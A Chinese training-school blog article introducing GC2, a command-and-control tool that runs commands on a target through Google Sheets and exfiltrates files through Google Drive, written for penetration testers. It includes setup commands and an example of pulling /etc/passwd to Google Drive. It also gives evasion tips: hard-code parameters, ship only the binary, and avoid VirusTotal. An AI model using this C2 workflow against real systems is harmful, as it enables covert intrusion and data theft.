全国旗舰校区

不同学习城市 同样授课品质

北京

深圳

上海

广州

郑州

大连

武汉

成都

西安

杭州

青岛

重庆

长沙

哈尔滨

南京

太原

沈阳

合肥

贵阳

济南

下一个校区
就在你家门口
+
当前位置:首页  >  技术干货

一款功能强大的远程命令控制工具

发布时间:2022-07-26 15:21:00
发布人:qyf

  关于GC2

  GC2是一款功能强大的命令控制应用工具,该工具将允许广大安全研究人员或渗透测试人员使用Google Sheet来在目标设备上执行远程控制命令,并使用Google Drive来提取目标设备中的敏感数据。

  值得一提的是,该工具可以直接提供命令控制服务,而无需进行其他额外的安装和配置,因此可以大大提高红队渗透活动的效率。除此之外,这款工具只能跟Google的域名(*.google.com)交互,因此也增加了检测GC2的难度。

  请注意:千万不要将已编译好的代码上传到VirusTotal上!

  功能介绍

  使用Google Sheet作为终端窗口来实现命令控制与命令执行。

  使用Google Drive向目标主机传输和下载文件。

  使用Google Drive从目标主机中提取数据。

  退出执行。

  工具运行流程

图片1

  工具安装&配置

  第一步:使用下列命令将该项目源码克隆至本地,然后构建项目代码:

  git clone https://github.com/looCiprian/GC2-sheet

  cd GC2-sheet

  go build gc2-sheet.go

  第二步:创建一个新的Google “服务账号”,此时我们需要点击https://console.cloud.google.com/来创建该服务账号所需的.json密钥文件。

  第三步:启用Google Sheet API和Google Drive API。

  第四步:配置Google Sheet和Google Drive。创建一个新的Google Sheet,并添加服务账号至spreadsheet的Editor组:

图片2

  创建一个新的Google Drive文件夹,并将服务账号添加进这个文件夹的Editor组中:

图片3

  第五步:使用下列命令启动GC2:

  gc2-sheet --key--sheet--drive

  注意事项:你可以将参数以硬编码的形式写入进代码中,并只将可执行程序上传至目标设备上。

  工具使用

  命令执行

  GC2每五秒会向spreadsheet发送一次请求,并检查是否存在未执行的新命令。命令必须插入值请求中的“A”字段记录中,而命令输出结果将存储在“B”字段中。

  数据提取

  我们可以使用指定的命令来在目标设备上执行文件上传或下载任务:

  From Target to Google Drive

  upload;

  Example:

  upload;/etc/passwd

  下载文件

  我们可以使用指定的命令来在目标设备上执行文件上传或下载任务:

  From Google Drive to Target

  download;;

  Example:

  download;;/home/user/downloaded.txt

  退出执行

  通过发送“exit”命令,GC2将会从目标设备上远程删除自身代码,并终止自身进程的运行。注意,如果开启进程时使用了符号链接,那么命令执行结果可能会是符号链接或路径所指向的目标,从而导致删除错误的目标。

  项目地址

  https://github.com/looCiprian/GC2-sheet

  更多关于“网络安全培训”的问题,欢迎咨询千锋教育在线名师。千锋教育多年办学,课程大纲紧跟企业需求,更科学更严谨,每年培养泛IT人才近2万人。不论你是零基础还是想提升,都可以找到适合的班型,千锋教育随时欢迎你来试听。

相关文章

文件扩展名(后缀名)是什么?

文件扩展名(后缀名)是什么?

2023-10-14
云快照与自动备份有什么区别?

云快照与自动备份有什么区别?

2023-10-14
OKR与自驱力的关系是什么?

OKR与自驱力的关系是什么?

2023-10-14
office是什么软件类型?

office是什么软件类型?

2023-10-14

最新文章

常见网络安全面试题:Windows常用的命令有哪些?

常见网络安全面试题:Windows常用的命令有哪些?

2023-10-09
常见网络安全面试题:根据设备告警如何展开排查?

常见网络安全面试题:根据设备告警如何展开排查?

2023-10-09
常见网络安全面试题:mysql加固呢?(数据库加固)

常见网络安全面试题:mysql加固呢?(数据库加固)

2023-10-09
常见网络安全面试题:windows和linux加固?(操作系统加固)

常见网络安全面试题:windows和linux加固?(操作系统加固)

2023-10-09
在线咨询 免费试学 教程领取